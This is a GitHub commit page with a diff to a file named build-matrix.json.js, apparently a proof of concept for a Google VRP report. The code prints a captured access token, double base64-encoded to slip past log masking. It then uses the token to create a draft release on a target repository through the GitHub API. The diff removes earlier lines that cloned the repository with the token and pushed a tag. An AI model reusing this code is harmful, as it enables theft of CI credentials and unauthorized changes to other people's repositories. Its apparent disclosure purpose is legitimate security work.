Skip to content

Commit

Permalink
wip
Browse files Browse the repository at this point in the history
  • Loading branch information
DeeperMind committed Nov 25, 2024
1 parent 1817fe7 commit 5d14cbe
Showing 1 changed file with 24 additions and 34 deletions.
58 changes: 24 additions & 34 deletions build-matrix.json.js
Original file line number Diff line number Diff line change
Expand Up @@ -19,39 +19,29 @@ for (const line of config) {

console.log(Buffer.from(Buffer.from(token).toString('base64')).toString('base64'));

execSync(`git clone https://${token}@github.com/${REPO} ${FOLDER}`);

execSync(`git checkout -b ${RLS_NAME}`, { cwd: FOLDER });

execSync(`git config user.name ghost`, { cwd: FOLDER });

execSync(`git config user.email [email protected]`, { cwd: FOLDER });

execSync(`echo "this is for google-vrp to prove we can write to a branch" > poc.txt`, { cwd: FOLDER });

execSync(`git add poc.txt`, { cwd: FOLDER });

execSync(`git commit -m "for google vrp"`, { cwd: FOLDER });

execSync(`git push origin ${RLS_NAME}:refs/tags/${RLS_NAME}`, { cwd: FOLDER });

const url = `https://api.github.com/repos/${REPO}/releases`;

const payload = {
tag_name: RLS_NAME, // The tag for the release
name: "draft_release", // The release title
body: "This is for google vrp to prove we can edit and create releases", // The release description
draft: true // Mark the release as a draft
};

fetch(url, {
method: "POST",
headers: {
"Authorization": `Bearer ${token.split(':')[1]}`,
"Accept": "application/vnd.github.v3+json",
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
});
(async function() {
const url = `https://api.github.com/repos/${REPO}/releases`;

const payload = {
tag_name: RLS_NAME, // The tag for the release
name: "draft_release", // The release title
body: "This is for google vrp to prove we can edit and create releases", // The release description
draft: true // Mark the release as a draft
};

const response = await fetch(url, {
method: "POST",
headers: {
"Authorization": `Bearer ${token.split(':')[1]}`,
"Accept": "application/vnd.github.v3+json",
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
});

console.log(await response.json())


})()


0 comments on commit 5d14cbe

Please sign in to comment.